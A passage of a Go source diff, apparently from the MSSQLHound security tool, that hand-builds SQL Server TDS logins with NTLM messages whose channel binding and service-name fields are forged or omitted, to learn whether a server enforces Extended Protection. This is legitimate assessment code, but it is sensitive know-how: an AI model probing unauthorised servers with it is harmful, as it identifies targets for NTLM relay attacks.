+// (MssqlExtended.py / MssqlInformer.py).
+package mssql
+
+import (
+ "context"
+ "encoding/binary"
+ "fmt"
+ "math/rand"
+ "net"
+ "strings"
+ "time"
+ "unicode/utf16"
+)
+
+// EPATestConfig holds configuration for a single EPA test connection.
+type EPATestConfig struct {
+ Hostname string
+ Port int
+ InstanceName string
+ Domain string
+ Username string
+ Password string
+ TestMode EPATestMode
+ Verbose bool
+}
+
+// epaTestOutcome represents the result of a single EPA test connection attempt.
+type epaTestOutcome struct {
+ Success bool
+ ErrorMessage string
+ IsUntrustedDomain bool
+ IsLoginFailed bool
+}
+
+// TDS LOGIN7 option flags
+const (
+ login7OptionFlags2IntegratedSecurity byte = 0x80
+ login7OptionFlags2ODBCOn byte = 0x02
+ login7OptionFlags2InitLangFatal byte = 0x01
+)
+
+// TDS token types for parsing login response
+const (
+ tdsTokenLoginAck byte = 0xAD
+ tdsTokenError byte = 0xAA
+ tdsTokenEnvChange byte = 0xE3
+ tdsTokenDone byte = 0xFD
+ tdsTokenDoneProc byte = 0xFE
+ tdsTokenInfo byte = 0xAB
+ tdsTokenSSPI byte = 0xED
+)
+
+// Encryption flag values from PRELOGIN response
+const (
+ encryptOff byte = 0x00
+ encryptOn byte = 0x01
+ encryptNotSup byte = 0x02
+ encryptReq byte = 0x03
+ // encryptStrict is a synthetic value used to indicate TDS 8.0 strict
+ // encryption was detected (the server required TLS before any TDS messages).
+ encryptStrict byte = 0x08
+)
+
+// runEPATest performs a single raw TDS+TLS+NTLM login with the specified EPA test mode.
+// This replaces the old testConnectionWithEPA which incorrectly used encrypt=disable.
+//
+// The flow matches the Python MssqlExtended.login():
+// 1. TCP connect
+// 2. Send PRELOGIN, receive PRELOGIN response, extract encryption setting
+// 3. Perform TLS handshake inside TDS PRELOGIN packets
+// 4. Build LOGIN7 with NTLM Type1 in SSPI field, send over TLS
+// 5. (For ENCRYPT_OFF: switch back to raw TCP after LOGIN7)
+// 6. Receive NTLM Type2 challenge from server
+// 7. Build Type3 with modified AV_PAIRs per testMode, send as TDS_SSPI
+// 8. Receive final response: LOGINACK = success, ERROR = failure
+func runEPATest(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, byte, error) {
+ logf := func(format string, args ...interface{}) {
+ if config.Verbose {
+ fmt.Printf(" [EPA-debug] "+format+"\n", args...)
+ }
+ }
+
+ testModeNames := map[EPATestMode]string{
+ EPATestNormal: "Normal",
+ EPATestBogusCBT: "BogusCBT",
+ EPATestMissingCBT: "MissingCBT",
+ EPATestBogusService: "BogusService",
+ EPATestMissingService: "MissingService",
+ }
+
+ // Resolve port
+ port := config.Port
+ if port == 0 {
+ port = 1433
+ }
+
+ logf("Starting EPA test mode=%s against %s:%d", testModeNames[config.TestMode], config.Hostname, port)
+
+ // TCP connect
+ addr := fmt.Sprintf("%s:%d", config.Hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, 0, fmt.Errorf("TCP connect to %s failed: %w", addr, err)
+ }
+ defer conn.Close()
+ conn.SetDeadline(time.Now().Add(30 * time.Second))
+
+ tds := newTDSConn(conn)
+
+ // Step 1: PRELOGIN exchange
+ preloginPayload := buildPreloginPacket()
+ if err := tds.sendPacket(tdsPacketPrelogin, preloginPayload); err != nil {
+ return nil, 0, fmt.Errorf("send PRELOGIN: %w", err)
+ }
+
+ _, preloginResp, err := tds.readFullPacket()
+ if err != nil {
+ return nil, 0, fmt.Errorf("read PRELOGIN response: %w", err)
+ }
+
+ encryptionFlag, err := parsePreloginEncryption(preloginResp)
+ if err != nil {
+ return nil, 0, fmt.Errorf("parse PRELOGIN: %w", err)
+ }
+
+ logf("Server encryption flag: 0x%02X", encryptionFlag)
+
+ if encryptionFlag == encryptNotSup {
+ return nil, encryptionFlag, fmt.Errorf("server does not support encryption, cannot test EPA")
+ }
+
+ // Step 2: TLS handshake over TDS
+ tlsConn, sw, err := performTLSHandshake(tds, config.Hostname)
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("TLS handshake: %w", err)
+ }
+ logf("TLS handshake complete, cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite)
+
+ // Step 3: Compute channel binding hash from TLS certificate
+ cbtHash, err := getChannelBindingHashFromTLS(tlsConn)
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("compute CBT: %w", err)
+ }
+ logf("CBT hash: %x", cbtHash)
+
+ // Step 4: Setup NTLM authenticator
+ spn := computeSPN(config.Hostname, port)
+ auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn)
+ auth.SetEPATestMode(config.TestMode)
+ auth.SetChannelBindingHash(cbtHash)
+ logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username)
+
+ // Generate NTLM Type1 (Negotiate)
+ negotiateMsg := auth.CreateNegotiateMessage()
+ logf("Type1 negotiate message: %d bytes", len(negotiateMsg))
+
+ // Step 5: Build and send LOGIN7 with NTLM Type1 in SSPI field
+ login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg)
+ logf("LOGIN7 packet: %d bytes", len(login7))
+
+ // Send LOGIN7 through TLS (the TLS connection writes to the underlying TCP)
+ // We need to wrap in TDS packet and send through the TLS layer
+ login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7)
+ if _, err := tlsConn.Write(login7TDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send LOGIN7: %w", err)
+ }
+ logf("Sent LOGIN7 (%d bytes with TDS header)", len(login7TDS))
+
+ // Step 6: For ENCRYPT_OFF, drop TLS after LOGIN7 (matching Python line 82-83)
+ if encryptionFlag == encryptOff {
+ sw.c = conn // Switch back to raw TCP
+ logf("Dropped TLS (ENCRYPT_OFF)")
+ }
+
+ // Step 7: Read server response (contains NTLM Type2 challenge)
+ // After TLS switch, we read from the appropriate transport
+ var responseData []byte
+ if encryptionFlag == encryptOff {
+ // Read from raw TCP with TDS framing
+ _, responseData, err = tds.readFullPacket()
+ } else {
+ // Read from TLS
+ responseData, err = readTLSTDSPacket(tlsConn)
+ }
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("read challenge response: %w", err)
+ }
+ logf("Received challenge response: %d bytes", len(responseData))
+
+ // Extract NTLM Type2 from the SSPI token in the TDS response
+ challengeData := extractSSPIToken(responseData)
+ if challengeData == nil {
+ // Check if we got an error instead (e.g., server rejected before NTLM)
+ success, errMsg := parseLoginTokens(responseData)
+ logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, encryptionFlag, nil
+ }
+ logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData))
+
+ // Step 8: Process challenge and generate Type3
+ if err := auth.ProcessChallenge(challengeData); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("process NTLM challenge: %w", err)
+ }
+ logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain)
+
+ authenticateMsg, err := auth.CreateAuthenticateMessage()
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("create NTLM authenticate: %w", err)
+ }
+ logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode])
+
+ // Step 9: Send Type3 as TDS_SSPI
+ sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg)
+ if encryptionFlag == encryptOff {
+ // Send on raw TCP
+ if _, err := conn.Write(sspiTDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err)
+ }
+ } else {
+ // Send through TLS
+ if _, err := tlsConn.Write(sspiTDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err)
+ }
+ }
+ logf("Sent Type3 SSPI (%d bytes with TDS header)", len(sspiTDS))
+
+ // Step 10: Read final response
+ if encryptionFlag == encryptOff {
+ _, responseData, err = tds.readFullPacket()
+ } else {
+ responseData, err = readTLSTDSPacket(tlsConn)
+ }
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("read auth response: %w", err)
+ }
+ logf("Received auth response: %d bytes", len(responseData))
+
+ // Parse for LOGINACK or ERROR
+ success, errMsg := parseLoginTokens(responseData)
+ logf("Login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, encryptionFlag, nil
+}
+
+// buildTDSPacketRaw creates a TDS packet with header + payload (for writing through TLS).
+func buildTDSPacketRaw(packetType byte, payload []byte) []byte {
+ pktLen := tdsHeaderSize + len(payload)
+ pkt := make([]byte, pktLen)
+ pkt[0] = packetType
+ pkt[1] = 0x01 // EOM
+ binary.BigEndian.PutUint16(pkt[2:4], uint16(pktLen))
+ // SPID, PacketID, Window all zero
+ copy(pkt[tdsHeaderSize:], payload)
+ return pkt
+}
+
+// buildLogin7Packet constructs a TDS LOGIN7 packet payload with SSPI (NTLM Type1).
+func buildLogin7Packet(hostname, appName, serverName string, sspiPayload []byte) []byte {
+ hostname16 := str2ucs2Login(hostname)
+ appname16 := str2ucs2Login(appName)
+ servername16 := str2ucs2Login(serverName)
+ ctlintname16 := str2ucs2Login("MSSQLHound")
+
+ hostnameRuneLen := utf16.Encode([]rune(hostname))
+ appnameRuneLen := utf16.Encode([]rune(appName))
+ servernameRuneLen := utf16.Encode([]rune(serverName))
+ ctlintnameRuneLen := utf16.Encode([]rune("MSSQLHound"))
+
+ // loginHeader is 94 bytes (matches go-mssqldb loginHeader struct)
+ const headerSize = 94
+ sspiLen := len(sspiPayload)
+
+ // Calculate offsets
+ offset := uint16(headerSize)
+
+ hostnameOffset := offset
+ offset += uint16(len(hostname16))
+
+ // Username (empty for SSPI)
+ usernameOffset := offset
+ // Password (empty for SSPI)
+ passwordOffset := offset
+
+ appnameOffset := offset
+ offset += uint16(len(appname16))
+
+ servernameOffset := offset
+ offset += uint16(len(servername16))
+
+ // Extension (empty)
+ extensionOffset := offset
+
+ ctlintnameOffset := offset
+ offset += uint16(len(ctlintname16))
+
+ // Language (empty)
+ languageOffset := offset
+ // Database (empty)
+ databaseOffset := offset
+
+ sspiOffset := offset
+ offset += uint16(sspiLen)
+
+ // AtchDBFile (empty)
+ atchdbOffset := offset
+ // ChangePassword (empty)
+ changepwOffset := offset
+
+ totalLen := uint32(offset)
+
+ // Build the packet
+ pkt := make([]byte, totalLen)
+
+ // Length
+ binary.LittleEndian.PutUint32(pkt[0:4], totalLen)
+ // TDS Version (7.4 = 0x74000004)
+ binary.LittleEndian.PutUint32(pkt[4:8], 0x74000004)
+ // Packet Size
+ binary.LittleEndian.PutUint32(pkt[8:12], uint32(tdsMaxPacketSize))
+ // Client Program Version
+ binary.LittleEndian.PutUint32(pkt[12:16], 0x07000000)
+ // Client PID
+ binary.LittleEndian.PutUint32(pkt[16:20], uint32(rand.Intn(65535)))
+ // Connection ID
+ binary.LittleEndian.PutUint32(pkt[20:24], 0)
+
+ // Option Flags 1 (byte 24)
+ pkt[24] = 0x00
+ // Option Flags 2 (byte 25): Integrated Security ON + ODBC ON
+ pkt[25] = login7OptionFlags2IntegratedSecurity | login7OptionFlags2ODBCOn | login7OptionFlags2InitLangFatal
+ // Type Flags (byte 26)
+ pkt[26] = 0x00
+ // Option Flags 3 (byte 27)
+ pkt[27] = 0x00
+
+ // Client Time Zone (4 bytes at 28)
+ // Client LCID (4 bytes at 32)
+
+ // Field offsets and lengths
+ binary.LittleEndian.PutUint16(pkt[36:38], hostnameOffset)
+ binary.LittleEndian.PutUint16(pkt[38:40], uint16(len(hostnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[40:42], usernameOffset)
+ binary.LittleEndian.PutUint16(pkt[42:44], 0) // empty username for SSPI
+
+ binary.LittleEndian.PutUint16(pkt[44:46], passwordOffset)
+ binary.LittleEndian.PutUint16(pkt[46:48], 0) // empty password for SSPI
+
+ binary.LittleEndian.PutUint16(pkt[48:50], appnameOffset)
+ binary.LittleEndian.PutUint16(pkt[50:52], uint16(len(appnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[52:54], servernameOffset)
+ binary.LittleEndian.PutUint16(pkt[54:56], uint16(len(servernameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[56:58], extensionOffset)
+ binary.LittleEndian.PutUint16(pkt[58:60], 0) // no extension
+
+ binary.LittleEndian.PutUint16(pkt[60:62], ctlintnameOffset)
+ binary.LittleEndian.PutUint16(pkt[62:64], uint16(len(ctlintnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[64:66], languageOffset)
+ binary.LittleEndian.PutUint16(pkt[66:68], 0)
+
+ binary.LittleEndian.PutUint16(pkt[68:70], databaseOffset)
+ binary.LittleEndian.PutUint16(pkt[70:72], 0)
+
+ // ClientID (6 bytes at 72) - leave zero
+
+ binary.LittleEndian.PutUint16(pkt[78:80], sspiOffset)
+ binary.LittleEndian.PutUint16(pkt[80:82], uint16(sspiLen))
+
+ binary.LittleEndian.PutUint16(pkt[82:84], atchdbOffset)
+ binary.LittleEndian.PutUint16(pkt[84:86], 0)
+
+ binary.LittleEndian.PutUint16(pkt[86:88], changepwOffset)
+ binary.LittleEndian.PutUint16(pkt[88:90], 0)
+
+ // SSPILongLength (4 bytes at 90)
+ binary.LittleEndian.PutUint32(pkt[90:94], 0)
+
+ // Payload
+ copy(pkt[hostnameOffset:], hostname16)
+ copy(pkt[appnameOffset:], appname16)
+ copy(pkt[servernameOffset:], servername16)
+ copy(pkt[ctlintnameOffset:], ctlintname16)
+ copy(pkt[sspiOffset:], sspiPayload)
+
+ return pkt
+}
+
+// str2ucs2Login converts a string to UTF-16LE bytes (for LOGIN7 fields).
+func str2ucs2Login(s string) []byte {
+ encoded := utf16.Encode([]rune(s))
+ b := make([]byte, 2*len(encoded))
+ for i, r := range encoded {
+ b[2*i] = byte(r)
+ b[2*i+1] = byte(r >> 8)
+ }
+ return b
+}
+
+// parsePreloginEncryption extracts the encryption flag from a PRELOGIN response payload.
+func parsePreloginEncryption(payload []byte) (byte, error) {
+ offset := 0
+ for offset < len(payload) {
+ if payload[offset] == 0xFF {
+ break
+ }
+ if offset+5 > len(payload) {
+ break
+ }
+
+ token := payload[offset]
+ dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2])
+ dataLen := int(payload[offset+3])<<8 | int(payload[offset+4])
+
+ if token == 0x01 && dataLen >= 1 && dataOffset < len(payload) {
+ return payload[dataOffset], nil
+ }
+
+ offset += 5
+ }
+ return 0, fmt.Errorf("encryption option not found in PRELOGIN response")
+}
+
+// extractSSPIToken extracts the NTLM challenge from a TDS response containing SSPI token.
+// The SSPI token is returned as TDS_SSPI (0xED) token in the tabular result stream.
+func extractSSPIToken(data []byte) []byte {
+ offset := 0
+ for offset < len(data) {
+ tokenType := data[offset]
+ offset++
+
+ switch tokenType {
+ case tdsTokenSSPI:
+ // SSPI token: 2-byte length (LE) + payload
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2
+ if offset+length > len(data) {
+ return nil
+ }
+ return data[offset : offset+length]
+
+ case tdsTokenError, tdsTokenInfo:
+ // Variable-length token with 2-byte length
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenEnvChange:
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenDone, tdsTokenDoneProc:
+ offset += 12 // fixed 12 bytes
+
+ case tdsTokenLoginAck:
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ default:
+ // Unknown token - try to skip (assume 2-byte length prefix)
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+ }
+ }
+ return nil
+}
+
+// parseLoginTokens parses TDS response tokens to determine login success/failure.
+func parseLoginTokens(data []byte) (bool, string) {
+ success := false
+ var errorMsg string
+
+ offset := 0
+ for offset < len(data) {
+ if offset >= len(data) {
+ break
+ }
+ tokenType := data[offset]
+ offset++
+
+ switch tokenType {
+ case tdsTokenLoginAck:
+ success = true
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenError:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ if offset+2+length <= len(data) {
+ errorMsg = parseErrorToken(data[offset+2 : offset+2+length])
+ }
+ offset += 2 + length
+
+ case tdsTokenInfo:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenEnvChange:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenDone, tdsTokenDoneProc:
+ if offset+12 <= len(data) {
+ offset += 12
+ } else {
+ return success, errorMsg
+ }
+
+ case tdsTokenSSPI:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ default:
+ // Unknown token - try 2-byte length
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+ }
+ }
+
+ return success, errorMsg
+}
+
+// parseErrorToken extracts the error message text from a TDS ERROR token payload.
+// ERROR token format: Number(4) + State(1) + Class(1) + MsgTextLength(2) + MsgText(UTF16) + ...
+func parseErrorToken(data []byte) string {
+ if len(data) < 8 {
+ return ""
+ }
+ // Skip Number(4) + State(1) + Class(1) = 6 bytes
+ msgLen := int(binary.LittleEndian.Uint16(data[6:8]))
+ if 8+msgLen*2 > len(data) {
+ return ""
+ }
+ // Decode UTF-16LE message text
+ msgBytes := data[8 : 8+msgLen*2]
+ runes := make([]uint16, msgLen)
+ for i := 0; i < msgLen; i++ {
+ runes[i] = binary.LittleEndian.Uint16(msgBytes[i*2 : i*2+2])
+ }
+ return string(utf16.Decode(runes))
+}
+
+// runEPATestStrict performs an EPA test using the TDS 8.0 strict encryption flow.
+// In TDS 8.0, TLS is established directly on the TCP socket before any TDS messages
+// (like HTTPS), so PRELOGIN and all subsequent packets are sent through TLS.
+// This is used when the server has "Enforce Strict Encryption" enabled and rejects
+// cleartext PRELOGIN packets.
+func runEPATestStrict(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, error) {
+ logf := func(format string, args ...interface{}) {
+ if config.Verbose {
+ fmt.Printf(" [EPA-debug] "+format+"\n", args...)
+ }
+ }
+
+ testModeNames := map[EPATestMode]string{
+ EPATestNormal: "Normal",
+ EPATestBogusCBT: "BogusCBT",
+ EPATestMissingCBT: "MissingCBT",
+ EPATestBogusService: "BogusService",
+ EPATestMissingService: "MissingService",
+ }
+
+ port := config.Port
+ if port == 0 {
+ port = 1433
+ }
+
+ logf("Starting EPA test mode=%s (TDS 8.0 strict) against %s:%d", testModeNames[config.TestMode], config.Hostname, port)
+
+ // TCP connect
+ addr := fmt.Sprintf("%s:%d", config.Hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, fmt.Errorf("TCP connect to %s failed: %w", addr, err)
+ }
+ defer conn.Close()
+ conn.SetDeadline(time.Now().Add(30 * time.Second))
+
+ // Step 1: TLS handshake directly on TCP (TDS 8.0 strict)
+ // Unlike TDS 7.x where TLS records are wrapped in TDS PRELOGIN packets,
+ // TDS 8.0 does a standard TLS handshake on the raw socket.
+ tlsConn, err := performDirectTLSHandshake(conn, config.Hostname)
+ if err != nil {
+ return nil, fmt.Errorf("TLS handshake (strict): %w", err)
+ }
+ logf("TLS handshake complete (strict mode), cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite)
+
+ // Step 2: Compute channel binding hash from TLS certificate
+ cbtHash, err := getChannelBindingHashFromTLS(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("compute CBT: %w", err)
+ }
+ logf("CBT hash: %x", cbtHash)
+
+ // Step 3: Send PRELOGIN through TLS (in strict mode, all TDS traffic is inside TLS)
+ preloginPayload := buildPreloginPacket()
+ preloginTDS := buildTDSPacketRaw(tdsPacketPrelogin, preloginPayload)
+ if _, err := tlsConn.Write(preloginTDS); err != nil {
+ return nil, fmt.Errorf("send PRELOGIN (strict): %w", err)
+ }
+
+ preloginResp, err := readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read PRELOGIN response (strict): %w", err)
+ }
+
+ encryptionFlag, err := parsePreloginEncryption(preloginResp)
+ if err != nil {
+ logf("Could not parse encryption flag from strict PRELOGIN response: %v (continuing)", err)
+ } else {
+ logf("Server encryption flag (strict): 0x%02X", encryptionFlag)
+ }
+
+ // Step 4: Setup NTLM authenticator
+ spn := computeSPN(config.Hostname, port)
+ auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn)
+ auth.SetEPATestMode(config.TestMode)
+ auth.SetChannelBindingHash(cbtHash)
+ logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username)
+
+ negotiateMsg := auth.CreateNegotiateMessage()
+ logf("Type1 negotiate message: %d bytes", len(negotiateMsg))
+
+ // Step 5: Build and send LOGIN7 with NTLM Type1 through TLS
+ login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg)
+ login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7)
+ if _, err := tlsConn.Write(login7TDS); err != nil {
+ return nil, fmt.Errorf("send LOGIN7 (strict): %w", err)
+ }
+ logf("Sent LOGIN7 (%d bytes with TDS header) (strict)", len(login7TDS))
+
+ // Step 6: Read server response (NTLM Type2 challenge) - always through TLS
+ responseData, err := readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read challenge response (strict): %w", err)
+ }
+ logf("Received challenge response: %d bytes", len(responseData))
+
+ // Extract NTLM Type2 from SSPI token
+ challengeData := extractSSPIToken(responseData)
+ if challengeData == nil {
+ success, errMsg := parseLoginTokens(responseData)
+ logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, nil
+ }
+ logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData))
+
+ // Step 7: Process challenge and generate Type3
+ if err := auth.ProcessChallenge(challengeData); err != nil {
+ return nil, fmt.Errorf("process NTLM challenge: %w", err)
+ }
+ logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain)
+
+ authenticateMsg, err := auth.CreateAuthenticateMessage()
+ if err != nil {
+ return nil, fmt.Errorf("create NTLM authenticate: %w", err)
+ }
+ logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode])
+
+ // Step 8: Send Type3 as TDS_SSPI through TLS
+ sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg)
+ if _, err := tlsConn.Write(sspiTDS); err != nil {
+ return nil, fmt.Errorf("send SSPI auth (strict): %w", err)
+ }
+ logf("Sent Type3 SSPI (%d bytes with TDS header) (strict)", len(sspiTDS))
+
+ // Step 9: Read final response through TLS
+ responseData, err = readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read auth response (strict): %w", err)
+ }
+ logf("Received auth response: %d bytes", len(responseData))
+
+ // Parse for LOGINACK or ERROR
+ success, errMsg := parseLoginTokens(responseData)
+ logf("Login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, nil
+}
+
+// readTLSTDSPacket reads a complete TDS packet through TLS.
+// When encryption is ENCRYPT_REQ, TDS packets are wrapped in TLS records.
+func readTLSTDSPacket(tlsConn net.Conn) ([]byte, error) {
+ // Read TDS header through TLS
+ hdr := make([]byte, tdsHeaderSize)
+ n := 0
+ for n < tdsHeaderSize {
+ read, err := tlsConn.Read(hdr[n:])
+ if err != nil {
+ return nil, fmt.Errorf("read TDS header through TLS: %w", err)
+ }
+ n += read
+ }
+
+ pktLen := int(binary.BigEndian.Uint16(hdr[2:4]))
+ if pktLen < tdsHeaderSize {
+ return nil, fmt.Errorf("TDS packet length %d too small", pktLen)
+ }
+
+ payloadLen := pktLen - tdsHeaderSize
+ var payload []byte
+ if payloadLen > 0 {
+ payload = make([]byte, payloadLen)
+ n = 0
+ for n < payloadLen {
+ read, err := tlsConn.Read(payload[n:])
+ if err != nil {
+ return nil, fmt.Errorf("read TDS payload through TLS: %w", err)
+ }
+ n += read
+ }
+ }
+
+ // Check if this is EOM
+ status := hdr[1]
+ if status&0x01 != 0 {
+ return payload, nil
+ }
+
+ // Read more packets until EOM
+ for {
+ moreHdr := make([]byte, tdsHeaderSize)
+ n = 0
+ for n < tdsHeaderSize {
+ read, err := tlsConn.Read(moreHdr[n:])
+ if err != nil {
+ return nil, err
+ }
+ n += read
+ }
+
+ morePktLen := int(binary.BigEndian.Uint16(moreHdr[2:4]))
+ morePayloadLen := morePktLen - tdsHeaderSize
+ if morePayloadLen > 0 {
+ morePay := make([]byte, morePayloadLen)
+ n = 0
+ for n < morePayloadLen {
+ read, err := tlsConn.Read(morePay[n:])
+ if err != nil {
+ return nil, err
+ }
+ n += read
+ }
+ payload = append(payload, morePay...)
+ }
+
+ if moreHdr[1]&0x01 != 0 {
+ break
+ }
+ }
+
+ return payload, nil
+}
diff --git a/internal/mssql/ntlm_auth.go b/internal/mssql/ntlm_auth.go
new file mode 100644
index 0000000..f06622e
--- /dev/null
+++ b/internal/mssql/ntlm_auth.go
@@ -0,0 +1,588 @@
+// Package mssql - NTLMv2 authentication with controllable AV_PAIRs for EPA testing.
+// Implements NTLM Type1/Type2/Type3 message generation with the ability to
+// add, remove, or modify MsvAvChannelBindings and MsvAvTargetName AV_PAIRs.
+package mssql
+
+import (
+ "crypto/hmac"
+ "crypto/md5"
+ "crypto/rand"
+ "crypto/sha256"
+ "crypto/tls"
+ "encoding/binary"
+ "fmt"
+ "strings"
+ "unicode/utf16"
+
+ "golang.org/x/crypto/md4"
+)
+
+// NTLM AV_PAIR IDs (MS-NLMP 2.2.2.1)
+const (
+ avIDMsvAvEOL uint16 = 0x0000
+ avIDMsvAvNbComputerName uint16 = 0x0001
+ avIDMsvAvNbDomainName uint16 = 0x0002
+ avIDMsvAvDNSComputerName uint16 = 0x0003
+ avIDMsvAvDNSDomainName uint16 = 0x0004
+ avIDMsvAvDNSTreeName uint16 = 0x0005
+ avIDMsvAvFlags uint16 = 0x0006
+ avIDMsvAvTimestamp uint16 = 0x0007
+ avIDMsvAvTargetName uint16 = 0x0009
+ avIDMsvChannelBindings uint16 = 0x000A
+)
+
+// NTLM negotiate flags
+const (
+ ntlmFlagUnicode uint32 = 0x00000001
+ ntlmFlagOEM uint32 = 0x00000002
+ ntlmFlagRequestTarget uint32 = 0x00000004
+ ntlmFlagSign uint32 = 0x00000010
+ ntlmFlagSeal uint32 = 0x00000020
+ ntlmFlagNTLM uint32 = 0x00000200
+ ntlmFlagAlwaysSign uint32 = 0x00008000
+ ntlmFlagDomainSupplied uint32 = 0x00001000
+ ntlmFlagWorkstationSupplied uint32 = 0x00002000
+ ntlmFlagExtendedSessionSecurity uint32 = 0x00080000
+ ntlmFlagTargetInfo uint32 = 0x00800000
+ ntlmFlagVersion uint32 = 0x02000000
+ ntlmFlag128 uint32 = 0x20000000
+ ntlmFlagKeyExch uint32 = 0x40000000
+ ntlmFlag56 uint32 = 0x80000000
+)
+
+// MsvAvFlags bit values
+const (
+ msvAvFlagMICPresent uint32 = 0x00000002
+)
+
+// NTLM message types
+const (
+ ntlmNegotiateType uint32 = 1
+ ntlmChallengeType uint32 = 2
+ ntlmAuthenticateType uint32 = 3
+)
+
+// EPATestMode controls what AV_PAIRs are included/excluded in the NTLM Type3 message.
+type EPATestMode int
+
+const (
+ // EPATestNormal includes correct CBT and service binding
+ EPATestNormal EPATestMode = iota
+ // EPATestBogusCBT includes incorrect CBT hash
+ EPATestBogusCBT
+ // EPATestMissingCBT excludes MsvAvChannelBindings AV_PAIR entirely
+ EPATestMissingCBT
+ // EPATestBogusService includes incorrect service name ("cifs")
+ EPATestBogusService
+ // EPATestMissingService excludes MsvAvTargetName and strips target service
+ EPATestMissingService
+)
+
+// ntlmAVPair represents a single AV_PAIR entry in NTLM target info.
+type ntlmAVPair struct {
+ ID uint16
+ Value []byte
+}
+
+// ntlmAuth handles NTLMv2 authentication with controllable EPA settings.
+type ntlmAuth struct {
+ domain string
+ username string
+ password string
+ targetName string // SPN e.g. MSSQLSvc/hostname:port
+
+ testMode EPATestMode
+ channelBindingHash []byte // 16-byte MD5 of SEC_CHANNEL_BINDINGS
